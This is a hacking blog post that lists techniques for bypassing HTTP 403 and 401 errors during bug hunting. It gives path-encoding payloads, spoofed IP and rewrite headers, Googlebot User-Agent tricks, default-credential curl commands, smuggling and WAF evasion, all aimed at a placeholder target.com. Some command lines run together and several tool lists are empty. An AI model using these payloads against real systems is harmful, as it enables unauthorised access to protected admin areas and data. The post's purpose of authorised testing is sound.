Bypassing 403 & 401 Errors: All Hacker Techniques Revealed 🔓

8/12/2025

Bypassing 403 & 401 Errors: All Hacker Techniques Revealed 🔓

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Hey there, fellow hackers 👋

Ever stumbled upon a 403 Forbidden or 401 Unauthorized error while bug hunting, recon, or pentesting? It’s like hitting a digital brick wall. But what if I told you there are ways around it? 😏

In this blog, we’ll uncover all the known hacker techniques (and a few sneaky tricks) to bypass these annoying errors. Buckle up! 🛠️

🔍 What Are 403 & 401 Errors?

Before we dive into the fun stuff, let’s quickly understand what these codes mean:

  • 401 Unauthorized: The client is unauthenticated and needs to log in or present proper credentials.
  • 403 Forbidden: You are authenticated, but the server says, “Nope, you’re not allowed here.”

In short:

  • 401 = Who are you?
  • 403 = I know you, but you’re not allowed.

Time to ninja past them. 🥷

🚪 1. Method Swapping

Sometimes, just changing the HTTP method can bypass 403/401 restrictions 😈

🔁 Try swapping:

  • POST ➡️ GET
  • PUT ➡️ DELETE
  • PATCH, OPTIONS, HEAD, TRACE

🧪 Test with Burp Suite Repeater.

💡 Extra Tips:

  • 🔄 Use X-HTTP-Method-Override: GET
  • 🧬 Try custom headers: X-Original-Method, X-Forwarded-Method
  • 📦 Use curl -X <METHOD> for quick CLI testing
  • 🔄 Use tools like Smuggler or Burp Turbo Intruder to automate swaps
  • 🧠 Check backend framework — some treat methods differently!

🎯 Example Target:

/admin → 403 (POST) → 200 (GET)

📌 2. Path Manipulation Tricks

Mess with the path to confuse WAFs or bypass access controls 😈

🔀 Try:

  • /admin → /admin/ (trailing slash)
  • /admin → /admin..;/ (double dot semicolon)
  • /admin → /admin%2f (URL-encoded slash)
  • /admin → /%2e/admin (dot encoding)
  • /admin → /./admin
  • /admin → /..%2fadmin
  • /admin → /admin..%00/ (null byte)

💣 Bonus Tricks:

  • /admin%20/
  • /admin;.css
  • /admin.json
  • /api/v1/admin/../admin

🧪 Tools to Automate:

🧠 Why it works:

  • WAF and backend may parse paths differently
  • Bypass happens due to normalization inconsistencies
  • Encoding tricks often defeat naive security filters

🎯 Example:

/admin → 403/admin..;/ → 200 😎

🛡️ 3. Header Injection Bypasses

Servers often trust headers — and that’s where hackers strike 😈

🧪 Try injecting these headers to bypass 403/401:

X-Original-URL: /admin X-Rewrite-URL: /admin X-Custom-IP-Authorization: 127.0.0.1 X-Forwarded-For: 127.0.0.1 X-Remote-IP: 127.0.0.1 X-Originating-IP: 127.0.0.1 X-Remote-Addr: 127.0.0.1 X-Client-IP: 127.0.0.1 True-Client-IP: 127.0.0.1 Forwarded: for=127.0.0.1

👨‍💻 Test with:

curl -H "X-Original-URL: /admin" https://target.comcurl -H "X-Forwarded-For: 127.0.0.1" https://target.com

🧰 Use:

  • Burp Suite Repeater
  • Postman
  • curl or httpie for quick CLI testing

🔁 4. IP Whitelisting Bypass

Some endpoints are restricted to internal IPs (like 127.0.0.1) or cloud IP ranges 🕵️‍♂️

💥 Try these tricks:

🧪 Spoof headers:

X-Forwarded-For: 127.0.0.1 X-Client-IP: 127.0.0.1 X-Remote-IP: 127.0.0.1 X-Originating-IP: 127.0.0.1 Forwarded: for=127.0.0.1

🧬 Combine multiple headers for better results 👇

curl -H "X-Forwarded-For: 127.0.0.1" \ -H "X-Client-IP: 127.0.0.1" \ https://target.com/admin

☁️ Use cloud IPs

  • Spin up a server on AWS, GCP, or Azure
  • Some systems whitelist entire cloud IP blocks

🔁 Rotate IPs with:

🕵️ 5. User-Agent Spoofing

Some websites block or allow access based on your User-Agent string 👀

🧪 Try spoofing your User-Agent:

User-Agent: Googlebot User-Agent: Bingbot User-Agent: curl/7.68.0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)

💡 Mimic trusted bots like:

  • Googlebot
  • Bingbot
  • Yahoo! Slurp
  • DuckDuckBot
  • Facebot

🎯 Example:

curl -A "Googlebot" https://target.com/hidden-admin

💥 Some sites expose hidden content to bots (SEO), or treat curl and script-based agents differently.

🧰 Tools:

  • curl -A "<agent>"
  • Burp Suite → Repeater → Headers → Modify User-Agent

🔑 6. Authentication Misconfigurations

Weak or broken auth controls can let you slip right in 😈

🧪 Try these:

  • Default creds: admin:admin, guest:guest, test:test
  • IDOR on session/token → Modify session_id or JWT payload
  • Pre-auth access → Hit endpoints before login, then compare after login
  • Weak password policies → Try simple brute force

🎯 Example:

curl -u admin:admin https://target.com/admin

📚 Reference:

🧰 Tools:

🧪 7. HTTP Smuggling

Advanced, but deadly.

By crafting malformed HTTP requests (with Transfer-Encoding and Content-Length confusion), you can bypass protections.

🔗 Read more: PortSwigger on HTTP Smuggling

Tools:

  • Burp Suite Professional
  • Smuggler.py

🔄 8. Referrer & Origin Header Tricks

Sometimes a service checks if the request is coming from a known page.

Try manipulating:

Referer: https://trusted.com/dashboardOrigin: https://trusted.com

🏁 9. Case Sensitivity and Encoding

Try playing with path case or encodings:

/admin -> /AdMiN/admin -> /%61dmin/admin -> /admin%00

🧪 Try full Unicode bypasses too:

/admin -> /%u2215admin

🛠️ 10. Automation Tools to Help You

Here’s a handy list of tools to automate or help:

🎯 Real-World Examples

✅ Case 1: Bypassing via X-Original-URL

An endpoint /admin returned 403 Forbidden. By adding X-Original-URL: /admin in the request headers, the server allowed access. 🤯

✅ Case 2: Whitelisted Googlebot UA

The server was only showing pages to Googlebot. Changing the User-Agent to Googlebot revealed admin panel.

✅ Case 3: Burp Extension Magic

Using 403Bypasser Burp plugin, a pentester got past a restricted /private directory by chaining multiple headers and method changes.

🚨 Bonus: CDN & WAF Evasion

Sometimes the block is at CDN/WAF level. Try these:

  • Add ? or # at end of URLs
  • Use subdomains instead of root domain
  • Use TOR or proxy IPs

🧠 Final Thoughts

403 and 401 aren’t dead ends — they’re just challenges. With the right mindset and tools, you can often find creative ways around them.

🔒 Use these tricks ethically. Always have permission and follow responsible disclosure.

📚 Useful References:

👋 Stay Connected

If you enjoyed this guide and want more practical tutorials, recon checklists, and hacker strategies, stay in touch: